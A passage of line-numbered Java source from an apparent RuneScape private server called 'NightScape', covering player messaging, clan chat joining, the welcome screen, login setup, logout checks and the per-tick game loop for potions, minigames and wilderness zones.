					+ ((getLevelForXP(playerXP[5])) * 0.125)
824
					+ ((getLevelForXP(playerXP[0])) * 0.325) + ((getLevelForXP(playerXP[2])) * 0.325));
825
		}
826
	}
827
828
	public void sendMessage(String s) {
829
		// synchronized (this) {
830
		if (getOutStream() != null) {
831
			outStream.createFrameVarSize(253);
832
			outStream.writeString(s);
833
			outStream.endFrameVarSize();
834
		}
835
836
	}
837
838
	public void globalMessage(String message) {
839
		for (Player p : PlayerHandler.players) {
840
			if (p == null)
841
				continue;
842
			Client c = (Client) p;
843
			c.sendMessage(message);
844
		}
845
	}
846
847
	public void setSidebarInterface(int menuId, int form) {
848
		// synchronized (this) {
849
		if (getOutStream() != null) {
850
			outStream.createFrame(71);
851
			outStream.writeWord(form);
852
			outStream.writeByteA(menuId);
853
		}
854
855
	}
856
857
	public void autoMessage(String q) {
858
		for (int j = 0; j < PlayerHandler.players.length; j++) {
859
			if (PlayerHandler.players[j] != null) {
860
				Client c2 = (Client) PlayerHandler.players[j];
861
				c2.sendMessage(q);
862
			}
863
		}
864
	}
865
866
	public void joinHelpCC() {
867
		if (clan == null) {
868
			Clan localClan = Server.clanManager.getClan("Help");
869
			if (localClan != null)
870
				localClan.addMember(this);
871
			else if ("Help".equalsIgnoreCase(this.playerName))
872
				Server.clanManager.create(this);
873
		
874
			inArdiCC = false;
875
		}
876
	}
877
	public void joinPvpHelpCC() {
878
		if (clan == null) {
879
			Clan localClan = Server.clanManager.getClan("Pvp Help");
880
			if (localClan != null)
881
				localClan.addMember(this);
882
			else if ("Pvp Help".equalsIgnoreCase(this.playerName))
883
				Server.clanManager.create(this);
884
		
885
			inArdiCC = false;
886
		}
887
	}
888
		public static void handleWelcomeInterface(Client c) {
889
			c.getPA().showInterface(15244); //Problem is buttons do not show up with images. Pointless?
890
			c.getPA().sendFrame126("@bla@Welcome to NightScape!", 15257);
891
			c.getPA().sendFrame126("Owner: Night - Last connected from: "+ c.connectedFrom, 15258);
892
			if(c.hasRecov) {
893
			c.getPA().sendFrame126("@gre@Your account is secure.\\n You have set a recovery email.\\n Post a request on forums\\n in order to change your email.", 15259); 
894
			} else {
895
			c.getPA().sendFrame126("@red@Your account is at risk.\\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account\\nif you are hacked.", 15259); 
896
			}
897
			c.getPA().sendFrame126("This will be used to send\\nmessages to you in the future.", 15260);
898
			if (c.setPin) {
899
			c.getPA().sendFrame126("@gre@Your bank is safe. \\nPlease log in and use \\n::setemail EMAIL@HERE.COM!\\n That will protect your account!", 15270);
900
			} else {
901
			c.getPA().sendFrame126("@red@Your bank is at risk. \\nWe suggest making a \\nbank pin to secure your bank\\n We are not responsible for hacked items!", 15270);
902
			}
903
			c.getPA().sendFrame126("None", 15261);
904
			if (c.playerRights == 4 || c.isDonator == 1) {
905
				c.getPA().sendFrame126("You're currently a Donator! \\nEnjoy the server with all your features!\\n Remember, you are awesome!", 15262);
906
			} else if (c.playerRights == 5 || c.isDonator == 2) {
907
				c.getPA().sendFrame126("You're currently an Extreme Donator! \\nEnjoy the server with all your features!\\n Remember, you are very awesome!", 15262);
908
			} else if (c.playerRights == 8 || c.isDonator == 3) {
909
				c.getPA().sendFrame126("You're currently a Legendary Donator! \\nEnjoy the server with your features!\\n Remember, you are super awesome!", 15262);
910
			} else {
911
				c.getPA().sendFrame126("You are not a Donator. \\nWe suggest you become one since it\\nHas huge benefits! A list\\ncan be found on the forums!", 15262);
912
			}
913
			c.getPA().sendFrame126("Play NightScape", 15263);
914
		}
915
		
916
	@Override
917
	public void initialize() {
918
		UUID = RS2LoginProtocol.UUID;
919
		
920
		//handleWelcomeInterface(this); //Above...
921
		getPA().sendFrame126("DDS + Whip", 669);
922
		writeStreamByte();
923
		PvPHandler.handleLogin(this);
924
		Server.lottery.checkUnclaimedWinners(this);
925
		// PlayersOnline.createCon();
926
		// PlayersOnline.online(this);
927
		//isIronMan = false;
928
929
	if (!playerName.equalsIgnoreCase("tyler")) { //I log in and out too much to have this message.
930
		if (playerRights == 1) {
931
			for (int j = 0; j < PlayerHandler.players.length; j++) {
932
				if (PlayerHandler.players[j] != null) {
933
					Client c2 = (Client) PlayerHandler.players[j];
934
					c2.sendMessage("[@blu@Moderator@bla@] @cr1@@bla@ "
935
							+ Misc.ucFirst(playerName) + " @blu@has logged in.");
936
				}
937
			}
938
		} else if(playerRights == 2) {
939
		    for (int j = 0; j < Server.playerHandler.players.length; j++) {
940
		        if (Server.playerHandler.players[j] != null) {
941
		            Client c2 = (Client)Server.playerHandler.players[j];
942
		            c2.sendMessage("@yel@[Admin] @cr2@@whi@" +playerName+ "@bla@ has just logged in!");
943
		        }
944
		    }
945
		} else if(playerRights == 3) {
946
		    for (int j = 0; j < Server.playerHandler.players.length; j++) {
947
		        if (Server.playerHandler.players[j] != null) {
948
		            Client c2 = (Client)Server.playerHandler.players[j];
949
		            c2.sendMessage("@red@[Owner] @cr2@@dre@" +playerName+ "@dre@ has just logged in.");
950
		        }
951
		    }
952
		} else if(playerRights == 5) {
953
		    for (int j = 0; j < Server.playerHandler.players.length; j++) {
954
		        if (Server.playerHandler.players[j] != null) {
955
		            Client c2 = (Client)Server.playerHandler.players[j];
956
		            c2.sendMessage("@blu@[Extreme Donator] @cr4@@bla@" +playerName+ " has just logged in.");
957
		        }
958
		    }
959
		} else if(playerRights == 7) {
960
		    for (int j = 0; j < Server.playerHandler.players.length; j++) {
961
		        if (Server.playerHandler.players[j] != null) {
962
		            Client c2 = (Client)Server.playerHandler.players[j];
963
		            c2.sendMessage("@blu@[Staff] @cr6@@whi@" +playerName+ "@blu@ has just logged in.");
964
		        }
965
		    }
966
		} else if(playerRights == 8) {
967
		    for (int j = 0; j < Server.playerHandler.players.length; j++) {
968
		        if (Server.playerHandler.players[j] != null) {
969
		            Client c2 = (Client)Server.playerHandler.players[j];
970
		            c2.sendMessage("@pur@[Legendary Donator] @cr7@@pur@" +playerName+ "@bla@ has just logged in.");
971
		        }
972
		    }
973
		}
974
	}
975
		getPA().loadQuests();
976
		getPA().loadQuest2();
977
		getPA().sendFrame127(runEnergy + "%", 149);
978
		isFullHelm = Item.isFullHelm(playerEquipment[playerHat]);
979
		isFullMask = Item.isFullMask(playerEquipment[playerHat]);
980
		isFullBody = Item.isFullBody(playerEquipment[playerChest]);
981
		getPA().sendFrame36(173, isRunning2 ? 1 : 0);
982
		sendMessage("@bla@[@blu@Attention@bla@]:@red@Thanks for playing NightScape!");
983
		sendMessage("There are currently @red@"+ PlayerHandler.getPlayerCount() + " @bla@players online.");
984
		/**if (expLock == true) {
985
			sendMessage("Your experience is now locked. You will not gain experience.");
986
		} else {
987
			sendMessage("Your experience is now unlocked. You will gain experience.");
988
		}**/
989
		if (Config.SERVER_EXP_BONUS == 2) {
990
			sendMessage("@bla@[@blu@Attention@bla@]:@red@ Double experience is active.");
991
		}
992
		calcCombat();
993
		Pet.ownerLoggedIn(this);
994
		/*
995
		 * if (playerRights != 3 || playerRights != 2) { Highscores.process(); }
996
		 */
997
		outStream.createFrame(249);
998
		outStream.writeByteA(1); // 1 for members, zero for free
999
		outStream.writeWordBigEndianA(playerId);
1000
		for (int j = 0; j < PlayerHandler.players.length; j++) {
1001
			if (j == playerId)
1002
				continue;
1003
			if (PlayerHandler.players[j] != null) {
1004
				if (PlayerHandler.players[j].playerName
1005
						.equalsIgnoreCase(playerName))
1006
					disconnected = true;
1007
			}
1008
		}
1009
		// Connection.addIpToLoginList(this.getConnectedFrom());
1010
		for (int i = 0; i < 25; i++) {
1011
			getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
1012
			getPA().refreshSkill(i);
1013
			getPA().refreshSkill(21);
1014
			getPA().refreshSkill(22);
1015
		}
1016
		for (int p = 0; p < PRAYER.length; p++) { // reset prayer glows
1017
			prayerActive[p] = false;
1018
			getPA().sendFrame36(PRAYER_GLOW[p], 0);
1019
		}
1020
		getPA().handleWeaponStyle();
1021
		getPA().handleLoginText();
1022
		accountFlagged = getPA().checkForFlags();
1023
		getPA().sendFrame36(108, 0);// resets autocast button
1024
		getPA().sendFrame36(172, 1);
1025
		getPA().sendFrame107(); // reset screen
1026
		getPA().setChatOptions(0, 0, 0); // reset private messaging options
1027
		setSidebarInterface(1, 3917);
1028
		// setSidebarInterface(1, 31110);
1029
		setSidebarInterface(2, 638);
1030
		setSidebarInterface(3, 3213);
1031
		setSidebarInterface(4, 1644);
1032
		setSidebarInterface(5, 5608);
1033
		if (playerMagicBook == 0) {
1034
			setSidebarInterface(6, 1151); // modern
1035
		}
1036
		if (playerMagicBook == 1) {
1037
			setSidebarInterface(6, 12855); // ancient
1038
		}
1039
		if (playerMagicBook == 2) {
1040
			setSidebarInterface(6, 29999); // ancient
1041
		}
1042
		if (splitChat == false) {
1043
			getPA().sendFrame36(502, 0);
1044
			getPA().sendFrame36(287, 0);
1045
		}
1046
		if (splitChat == true) {
1047
			getPA().sendFrame36(502, 1);
1048
			getPA().sendFrame36(287, 1);
1049
		}
1050
		correctCoordinates();
1051
		setSidebarInterface(7, 18128);
1052
		setSidebarInterface(8, 5065);
1053
		setSidebarInterface(9, 5715);
1054
		setSidebarInterface(10, 2449);
1055
		// setSidebarInterface(7, 19017);
1056
		setSidebarInterface(11, 904); // wrench tab
1057
		setSidebarInterface(12, 147); // run tab
1058
		setSidebarInterface(13, 6299);
1059
		setSidebarInterface(0, 2423);
1060
		setSidebarInterface(15, 2449);
1061
		setSidebarInterface(16, 3213);
1062
		if (lastsummon > 0) {
1063
			Summoning().SummonNewNPC(lastsummon);
1064
		}
1065
		getPA().showOption(4, 0, "Follow", 4);
1066
		pvpTeleTimer = 0;
1067
		getPA().showOption(5, 0, "Trade with", 3);
1068
		getItems().resetItems(3214);
1069
		getItems().sendWeapon(playerEquipment[playerWeapon],
1070
				getItems().getItemName(playerEquipment[playerWeapon]));
1071
		getItems().resetBonus();
1072
		getItems().getBonus();
1073
		getItems().writeBonus();
1074
		getItems().setEquipment(playerEquipment[playerHat], 1, playerHat);
1075
		getItems().setEquipment(playerEquipment[playerCape], 1, playerCape);
1076
		getItems().setEquipment(playerEquipment[playerAmulet], 1, playerAmulet);
1077
		getItems().setEquipment(playerEquipment[playerArrows],
1078
				playerEquipmentN[playerArrows], playerArrows);
1079
		getItems().setEquipment(playerEquipment[playerChest], 1, playerChest);
1080
		getItems().setEquipment(playerEquipment[playerShield], 1, playerShield);
1081
		getItems().setEquipment(playerEquipment[playerLegs], 1, playerLegs);
1082
		getItems().setEquipment(playerEquipment[playerHands], 1, playerHands);
1083
		getItems().setEquipment(playerEquipment[playerFeet], 1, playerFeet);
1084
		getItems().setEquipment(playerEquipment[playerRing], 1, playerRing);
1085
		getItems().setEquipment(playerEquipment[playerWeapon],
1086
				playerEquipmentN[playerWeapon], playerWeapon);
1087
		getCombat().getPlayerAnimIndex(
1088
		getItems().getItemName(playerEquipment[playerWeapon])
1089
						.toLowerCase());
1090
		getPA().logIntoPM();
1091
		getItems().addSpecialBar(playerEquipment[playerWeapon]);
1092
		saveTimer = Config.SAVE_TIMER;
1093
		saveCharacter = true;
1094
		Misc.println("[Logged in]: " + playerName + "");
1095
		handler.updatePlayer(this, outStream);
1096
		handler.updateNPC(this, outStream);
1097
		flushOutStream();
1098
		getPA().resetFollow();
1099
		getPA().clearClanChat();
1100
		getPA().resetFollow();
1101
		getPA().setClanData();
1102
		Connection.appendStarters();
1103
		Connection.appendStarters2();
1104
		//DonationSystem.addDonateItems(this,playerName);
1105
		if (addStarter)
1106
			getPA().addStarter();
1107
		if(playerRights != 9) {
1108
		this.joinHelpCC();
1109
		} else if(isPvpMode) {
1110
		this.joinPvpHelpCC();
1111
		}
1112
		if (hasNpc == true) {
1113
			if (summonId == 4000) {
1114
				getItems().addItem(12653, 1);
1115
			}
1116
			if (summonId == 4003) {
1117
				getItems().addItem(12694, 1);
1118
			}
1119
			if (summonId == 4001) {
1120
				getItems().addItem(12650, 1);
1121
			}
1122
			if (summonId == 4005) {
1123
				getItems().addItem(12649, 1);
1124
			}
1125
			if (summonId == 4006) {
1126
				getItems().addItem(12652, 1);
1127
			}
1128
			if (summonId == 4007) {
1129
				getItems().addItem(12651, 1);
1130
			}
1131
			if (summonId == 4008) {
1132
				getItems().addItem(12643, 1);
1133
			}
1134
			if (summonId == 4009) {
1135
				getItems().addItem(12644, 1);
1136
			}
1137
			if (summonId == 4010) {
1138
				getItems().addItem(12645, 1);
1139
			}
1140
			if (summonId == 4011) {
1141
				getItems().addItem(15568, 1);
1142
			}
1143
			if (summonId == 4012) {
1144
				getItems().addItem(15566, 1);
1145
			}
1146
			if (summonId == 4016) {
1147
				getItems().addItem(15570, 1);
1148
			}
1149
			if (summonId == 4014) {
1150
				getItems().addItem(15562, 1);
1151
			}
1152
			if (summonId == 4015) {
1153
				getItems().addItem(15560, 1);
1154
			}
1155
			if (summonId == 4013) {
1156
				getItems().addItem(15564, 1);
1157
			}
1158
			if (summonId == 6305) {
1159
				getItems().addItem(12655, 1);
1160
			}
1161
			// Server.npcHandler.spawnNpc3(this, summonId, absX, absY-1,
1162
			// heightLevel, 0, 120, 25, 200, 200, true, false, true);
1163
			summonId = 0;
1164
			hasNpc = false;
1165
			this.sendMessage("Your pet has been added to your inventory.");
1166
		}
1167
		if (autoRet == 1)
1168
			getPA().sendFrame36(172, 1);
1169
		else
1170
			getPA().sendFrame36(172, 0);
1171
	}
1172
1173
	public void RefreshAllSkills() {
1174
		for (int i = 0; i < 25; i++) {
1175
			getPA().setSkillLevel(i, playerLevel[i], playerXP[i]);
1176
			getPA().refreshSkill(i);
1177
		}
1178
	}
1179
1180
	@Override
1181
	public void update() {
1182
		handler.updatePlayer(this, outStream);
1183
		handler.updateNPC(this, outStream);
1184
		flushOutStream();
1185
1186
	}
1187
1188
	public void wildyWarning() {
1189
		getPA().showInterface(1908);
1190
	}
1191
1192
	public void logout() {
1193
		if (this.clan != null) {
1194
			this.clan.removeMember(this);
1195
		}
1196
		PvPHandler.handleLogout(this);
1197
		// PlayersOnline.createCon();
1198
		// PlayersOnline.online(this);
1199
1200
		/*
1201
		 * if (playerRights != 2) { Highscores.save(this); }
1202
		 */
1203
1204
		/*
1205
		 * if (lastsummon > 0) { for (int i = 0; i < Server.npcHandler.maxNPCs;
1206
		 * i++) { if (Server.npcHandler.npcs[i] != null) { if
1207
		 * (Server.npcHandler.npcs[i].summon == true) { if
1208
		 * (Server.npcHandler.npcs[i].spawnedBy == getId()) {
1209
		 * Server.npcHandler.npcs[i].isDead = true;
1210
		 * Server.npcHandler.npcs[i].applyDead = true;
1211
		 * Server.npcHandler.npcs[i].summon = false; } } } } }
1212
		 */
1213
		Connection.removeIpFromLoginList(this.getConnectedFrom());
1214
		if (duelStatus >= 1 && duelStatus <= 5) {
1215
			sendMessage("You cannot logout during a duel.");
1216
			//getTradeAndDuel().bothDeclineDuel();
1217
			saveCharacter = true;
1218
			return;
1219
		}
1220
		if (underAttackBy > 0 || underAttackBy2 > 0)
1221
			return;
1222
		// synchronized (this) {
1223
		if (System.currentTimeMillis() - logoutDelay > 10000) {
1224
			outStream.createFrame(109);
1225
			CycleEventHandler.getSingleton().stopEvents(this);
1226
			properLogout = true;
1227
			ConnectedFrom.addConnectedFrom(this, connectedFrom);
1228
		} else {
1229
			sendMessage("You must wait a few seconds from being out of combat to logout.");
1230
		}
1231
1232
	}
1233
1234
	public int packetSize = 0, packetType = -1;
1235
1236
	@Override
1237
	public void process() {
1238
		getPA().sendFrame126("Players Online: " + PlayerHandler.getPlayerCount(), 29155);
1239
		/*
1240
		 * if (inWild() && WildernessWarning == false) { resetWalkingQueue();
1241
		 * getPA().resetFollow(); wildyWarning(); WildernessWarning = true; }
1242
		 */
1243
1244
		if (clawDelay > 0) {
1245
			clawDelay--;
1246
		}if (superCombat > 0) {
1247
			if (superCombat == 150) {
1248
				getPA().refreshSkill(3);
1249
				sendMessage("@red@The effects caused by your super combat potion are almost gone!");
1250
			}
1251
			if (superCombat == 600 || superCombat == 597 || superCombat == 595 || superCombat == 593 || superCombat == 591 || superCombat == 570 || superCombat == 540 || superCombat == 510 || superCombat == 480 || superCombat == 450 || superCombat == 420 || superCombat == 390 || superCombat == 360 || superCombat == 330 || superCombat == 300 || superCombat == 270 || superCombat == 240 || superCombat == 210 || superCombat == 180 || superCombat == 150 || superCombat == 120 || superCombat == 90 || superCombat == 60 || superCombat == 30) {
1252
				superCombat();
1253
				getPA().refreshSkill(3);
1254
			}
1255
			superCombat--;
1256
			if (superCombat == 0) {
1257
				sendMessage("Your super combat potion has worn off.");
1258
				//playerLevel[3] += 50;
1259
				if (playerLevel[3] > playerLevel[playerHitpoints]) {
1260
					playerLevel[3] = playerLevel[playerHitpoints];
1261
				}
1262
				getPA().refreshSkill(3);
1263
				playerLevel[0] = getLevelForXP(playerXP[0]);
1264
				playerLevel[1] = getLevelForXP(playerXP[1]);
1265
				playerLevel[2] = getLevelForXP(playerXP[2]);
1266
				playerLevel[4] = getLevelForXP(playerXP[4]);
1267
				playerLevel[6] = getLevelForXP(playerXP[6]);
1268
				superCombat = 0;
1269
				for (int i = 0; i <= 6 && i != 5; i++) {
1270
					getPA().refreshSkill(i);
1271
				}
1272
1273
			}
1274
		}
1275
		if (overload > 0) {
1276
			if (overload == 600 || overload == 597 || overload == 595 || overload == 593 || overload == 591) {
1277
				overloadHit();
1278
				getPA().refreshSkill(3);
1279
			}
1280
			if (overload == 570 || overload == 540 || overload == 510 || overload == 480 || overload == 450 || overload == 420 || overload == 390 || overload == 360 || overload == 330 || overload == 300 || overload == 270 || overload == 240 || overload == 210 || overload == 180 || overload == 150 || overload == 120 || overload == 90 || overload == 60 || overload == 30) {
1281
				overload();
1282
				getPA().refreshSkill(3);
1283
			}
1284
			overload--;
1285
			if (overload == 0 || inWild()) {
1286
				sendMessage("The effects of the overload potion have worn off...");
1287
				//playerLevel[3] += 50;
1288
				if (playerLevel[3] > playerLevel[playerHitpoints]) {
1289
					playerLevel[3] = playerLevel[playerHitpoints];
1290
				}
1291
				getPA().refreshSkill(3);
1292
				playerLevel[0] = getLevelForXP(playerXP[0]);
1293
				playerLevel[1] = getLevelForXP(playerXP[1]);
1294
				playerLevel[2] = getLevelForXP(playerXP[2]);
1295
				playerLevel[4] = getLevelForXP(playerXP[4]);
1296
				playerLevel[6] = getLevelForXP(playerXP[6]);
1297
				overload = 0;
1298
				for (int i = 0; i <= 6 && i != 5; i++) {
1299
					getPA().refreshSkill(i);
1300
				}
1301
			
1302
			}
1303
		}
1304
		if (clawDelay == 1) {
1305
			delayedDamage = (clawDamage / 4);
1306
			delayedDamage2 = (clawDamage / 4) + 1;
1307
			if (clawType == 2) {
1308
				getCombat().applyNpcMeleeDamage(clawIndex, 1, clawDamage / 4);
1309
			}
1310
			if (clawType == 1) {
1311
				getCombat()
1312
						.applyPlayerMeleeDamage(clawIndex, 1, clawDamage / 4);
1313
			}
1314
			if (clawType == 2) {
1315
				getCombat().applyNpcMeleeDamage(clawIndex, 2,
1316
						(clawDamage / 4) + 1);
1317
			}
1318
			if (clawType == 1) {
1319
				getCombat().applyPlayerMeleeDamage(clawIndex, 2,
1320
						(clawDamage / 4) + 1);
1321
			}
1322
			clawDelay = 0;
1323
			specEffect = 0;
1324
			previousDamage = 0;
1325
			usingClaws = false;
1326
			clawType = 0;
1327
		}
1328
		if (runEnergy < 100) {
1329
			if (System.currentTimeMillis() > getPA().getAgilityRunRestore(this)
1330
					+ lastRunRecovery) {
1331
				runEnergy++;
1332
				lastRunRecovery = System.currentTimeMillis();
1333
				getPA().sendFrame126(runEnergy + "%", 149);
1334
			}
1335
		}
1336
		if (walkingToItem) {
1337
			if (getX() == pItemX && getY() == pItemY
1338
					|| goodDistance(getX(), getY(), pItemX, pItemY, 1)) {
1339
				walkingToItem = false;
1340
				Server.itemHandler.removeGroundItem(this, pItemId, pItemX,
1341
						pItemY, true);
1342
			}
1343
		}
1344
		if (System.currentTimeMillis() - restoreStatsDelay > (zerkOn ? 90000
1345
				: 60000)) {
1346
			restoreStatsDelay = System.currentTimeMillis();
1347
			for (int level = 0; level < playerLevel.length; level++) {
1348
				if (playerLevel[level] < getLevelForXP(playerXP[level])) {
1349
					if (level != 5) { // prayer doesn't restore
1350
						playerLevel[level] += 1;
1351
						getPA().setSkillLevel(level, playerLevel[level],
1352
								playerXP[level]);
1353
						getPA().refreshSkill(level);
1354
					}
1355
				} else if (playerLevel[level] > getLevelForXP(playerXP[level])
1356
						&& level != 3) {
1357
					playerLevel[level] -= 1;
1358
					getPA().setSkillLevel(level, playerLevel[level],
1359
							playerXP[level]);
1360
					getPA().refreshSkill(level);
1361
				}
1362
			}
1363
1364
			getPotSmoking().processMunnchies();
1365
		}
1366
1367
		if (System.currentTimeMillis() - duelDelay > 1000 && duelCount > 0) {
1368
			if (duelCount != 1) {
1369
				forcedChat("" + (--duelCount));
1370
				duelDelay = System.currentTimeMillis();
1371
			} else {
1372
				damageTaken = new int[Config.MAX_PLAYERS];
1373
				forcedChat("FIGHT!");
1374
				duelCount = 0;
1375
			}
1376
		}
1377
		if (System.currentTimeMillis() - specDelay > Config.INCREASE_SPECIAL_AMOUNT) {
1378
			specDelay = System.currentTimeMillis();
1379
			if (specAmount < 10) {
1380
				specAmount += 1;
1381
				if (specAmount > 10)
1382
					specAmount = 10;
1383
				getItems().addSpecialBar(playerEquipment[playerWeapon]);
1384
			}
1385
		}
1386
		/*if (isPvpMode) {
1387
			if (!inPvP()) {
1388
				pvpTeleTimer = 7;
1389
			}
1390
		}*/	
1391
		if (yellTimer > 0) {
1392
			yellTimer--;
1393
		}
1394
		if(pvpnewtimer > 0) {
1395
			pvpnewtimer--;
1396
			if (pvpnewtimer == 0 && isPvpMode) {
1397
				sendMessage("@red@[ALERT]: @gre@You can now be attacked by other PvP mode Players!");
1398
				pvpnewtimer = 0;
1399
			}
1400
		}
1401
		//if (summonSpec > 0) {
1402
			//summonSpec--;
1403
		//}
1404
1405
		if (followId > 0) {
1406
			getPA().followPlayer();
1407
		} else if (followId2 > 0) {
1408
			getPA().followNpc();
1409
		}
1410
		getCombat().handlePrayerDrain();
1411
		if (System.currentTimeMillis() - singleCombatDelay > 3300) {
1412
			underAttackBy = 0;
1413
		}
1414
		if (System.currentTimeMillis() - singleCombatDelay2 > 3300) {
1415
			underAttackBy2 = 0;
1416
		}
1417
	 	if (isPvpMode && !inSafeArea() && !inPcBoat() && !inPcGame()) {
1418
			//PvPHandler.handleInterfaces(this);
1419
			getPA().walkableInterface(197);
1420
			int modY = absY > 6400 ? absY - 6400 : absY;
1421
			areaLevel = "3-126";
1422
			if (Config.SINGLE_AND_MULTI_ZONES) {
1423
				if (inMulti()) {
1424
					getPA().sendFrame126("@red@" + areaLevel, 199);
1425
				} else {
1426
					getPA().sendFrame126("@red@" + areaLevel, 199);
1427
				}
1428
			} else {
1429
				getPA().multiWay(-1);
1430
				getPA().sendFrame126("@red@Level: " + areaLevel, 199);
1431
			}
1432
			getPA().showOption(3, 0, "Attack", 1);
1433
		} else if (isPvpMode && inSafeArea()) {
1434
			//PvPHandler.handleInterfaces(this);
1435
			getPA().walkableInterface(197);
1436
			int modY = absY > 6400 ? absY - 6400 : absY;
1437
			areaLevel = "SAFE";
1438
			if (Config.SINGLE_AND_MULTI_ZONES) {
1439
				if (inMulti()) {
1440
					getPA().sendFrame126("@gre@" + areaLevel, 199);
1441
				} else {
1442
					getPA().sendFrame126("@gre@" + areaLevel, 199);
1443
				}
1444
			} else {
1445
				getPA().multiWay(-1);
1446
				getPA().sendFrame126("@gre@" + areaLevel, 199);
1447
			}
1448
			getPA().showOption(3, 0, "null", 1); //Removes attack option in safe zone - Tyler @ Ryan
1449
		} else if (inWild()) {
1450
			PvPHandler.handleInterfaces(this);
1451
			// getPA().walkableInterface(197);
1452
			int modY = absY > 6400 ? absY - 6400 : absY;
1453
			wildLevel = (((modY - 3520) / 8) + 1);
1454
			if (Config.SINGLE_AND_MULTI_ZONES) {
1455
				if (inMulti()) {
1456
					getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
1457
				} else {
1458
					getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
1459
				}
1460
			} else {
1461
				getPA().multiWay(-1);
1462
				getPA().sendFrame126("@yel@Level: " + wildLevel, 199);
1463
			}
1464
			getPA().showOption(3, 0, "Attack", 1);
1465
		} else if (inMithWild()) {
1466
			int modY = absY > 6400 ? absY - 6400 : absY;
1467
			wildMithLevel = 30;
1468
			getPA().walkableInterface(197);
1469
			getPA().multiWay(-1);
1470
			getPA().sendFrame126("@yel@Level: " + wildMithLevel, 199);
1471
			getPA().showOption(3, 0, "Attack", 1);
1472
		} else if (this.isInBarrows()) {
1473
			this.getPA().sendFrame126("Kill Count: " + this.barrowsKillCount,
1474
					4536);
1475
			this.getPA().walkableInterface(4535);
1476
			this.getPA().showOption(3, 0, "null", 1);
1477
			this.getPA().showOption(2, 0, "null", 1);
1478
		} else if (inPcBoat()) {
1479
			getPA().sendFrame126(
1480
					"Next Departure: " + PestControl.waitTimer + "", 21120);
1481
			getPA().sendFrame126(
1482
					"Players Ready: " + PestControl.playersInBoat() + "", 21121);
1483
			getPA().sendFrame126("(Need 3 to 25 players)", 21122);
1484
			getPA().sendFrame126("Pest Points: " + pcPoints + "", 21123);
1485
			getPA().walkableInterface(21119);
1486
		} else if (inPcGame()) {
1487
			for (j = 0; j < NPCHandler.npcs.length; j++) {
1488
				if (NPCHandler.npcs[j] != null) {
1489
					if (NPCHandler.npcs[j].npcType == 6142) {
1490
						if (NPCHandler.npcs[j].isDead) {
1491
							getPA().sendFrame126("Dead", 21111);
1492
						} else
1493
							getPA().sendFrame126(
1494
									"" + NPCHandler.npcs[j].HP + "", 21111);
1495
					}
1496
					if (NPCHandler.npcs[j].npcType == 6143) {
1497
						if (NPCHandler.npcs[j].isDead) {
1498
							getPA().sendFrame126("Dead", 21112);
1499
						} else
1500
							getPA().sendFrame126(
1501
									"" + NPCHandler.npcs[j].HP + "", 21112);
1502
					}
1503
					if (NPCHandler.npcs[j].npcType == 6144) {
1504
						if (NPCHandler.npcs[j].isDead) {
1505
							getPA().sendFrame126("Dead", 21113);
1506
						} else
1507
							getPA().sendFrame126(
1508
									"" + NPCHandler.npcs[j].HP + "", 21113);
1509
					}
1510
					if (NPCHandler.npcs[j].npcType == 6145) {
1511
						if (NPCHandler.npcs[j].isDead) {
1512
							getPA().sendFrame126("Dead", 21114);
1513
						} else
1514
							getPA().sendFrame126(
1515
									"" + NPCHandler.npcs[j].HP + "", 21114);
1516
					}
1517
				}
1518
			}
1519
			getPA().sendFrame126("0", 21115);
1520
			if (pcDamage < 50) {
1521
				getPA().sendFrame126("@red@" + pcDamage + "", 21116);
1522
			} else {
1523
				getPA().sendFrame126("@gre@" + pcDamage + "", 21116);
1524
			}
1525
			getPA().sendFrame126(
1526
					"Time remaining: " + PestControl.gameTimer + "", 21117);
1527
			getPA().walkableInterface(21100);
1528
		} else if (inZombieWait()) {
1529
			getPA().sendFrame126("", 15894);
1530
			getPA().sendFrame126("            @gre@Nightmare Zone", 15895);
1531
			getPA().sendFrame126(
1532
					ZombieWaves.waitTimer < 0 ? "Game In Progress"
1533
							: "Next Departure: " + ZombieWaves.waitTimer, 15897);
1534
			getPA().sendFrame126(
1535
					"Players Ready: " + ZombieWaves.inZombieWaitCount(), 15898);
1536
			getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
1537
			getPA().sendFrame126("", 15896);
1538
			getPA().sendFrame126("", 15900);
1539
			getPA().sendFrame126("", 15901);
1540
			getPA().sendFrame126("", 15902);
1541
			getPA().sendFrame126("", 15903);
1542
			getPA().sendFrame126("", 15904);
1543
			getPA().sendFrame126("", 15905);
1544
			getPA().sendFrame126("", 15906);
1545
			getPA().walkableInterface(15892);
1546
		} else if (inZombieGame()) {
1547
			getPA().sendFrame126("", 15894);
1548
			getPA().sendFrame126("            @gre@Nightmare Zone", 15895);
1549
			getPA().sendFrame126("Wave Number " + ZombieWaves.zombieWaveId,
1550
					15897);
1551
			getPA().sendFrame126("Bosses Left: " + ZombieWaves.zombieAmount,
1552
					15898);
1553
			getPA().sendFrame126("NMZ Points: " + zmPoints, 15899);
1554
			getPA().sendFrame126("", 15896);
1555
			getPA().sendFrame126("", 15900);
1556
			getPA().sendFrame126("", 15901);
1557
			getPA().sendFrame126("", 15902);
1558
			getPA().sendFrame126("", 15903);
1559
			getPA().sendFrame126("", 15904);
1560
			getPA().sendFrame126("", 15905);
1561
			getPA().sendFrame126("", 15906);
1562
			getPA().walkableInterface(15892);
1563
		} else if (inDuelArena()) {
1564
			getPA().walkableInterface(201);
1565
			if (duelStatus == 5) {
1566
				getPA().showOption(3, 0, "Attack", 1);
1567
			} else {
1568
				getPA().showOption(3, 0, "Challenge", 1);
1569
			}
1570
		} else if (inCwGame || inPits) {
1571
			getPA().showOption(3, 0, "Attack", 1);
1572
		} else if (getPA().inPitsWait()) {
1573
			getPA().showOption(3, 0, "Null", 1);
1574
		} else if (!inCwWait) {
1575
			getPA().sendFrame99(0);
1576
			getPA().walkableInterface(-1);
1577
			getPA().showOption(3, 0, "Null", 1);
1578
		} else if (inPits) {
1579
			getPA().showOption(3, 0, "Attack", 1);
1580
		} else if (getPA().inPitsWait()) {
1581
			getPA().showOption(3, 0, "Null", 1);
1582
		}
1583
1584
		if (!hasMultiSign && inMulti()) {
1585
			hasMultiSign = true;
1586
			getPA().multiWay(1);
1587
		}
1588
1589
		if (hasMultiSign && !inMulti()) {
1590
			hasMultiSign = false;
1591
			getPA().multiWay(-1);
1592
		}
1593
1594
		if (skullTimer > 0) {
1595
			skullTimer--;
1596
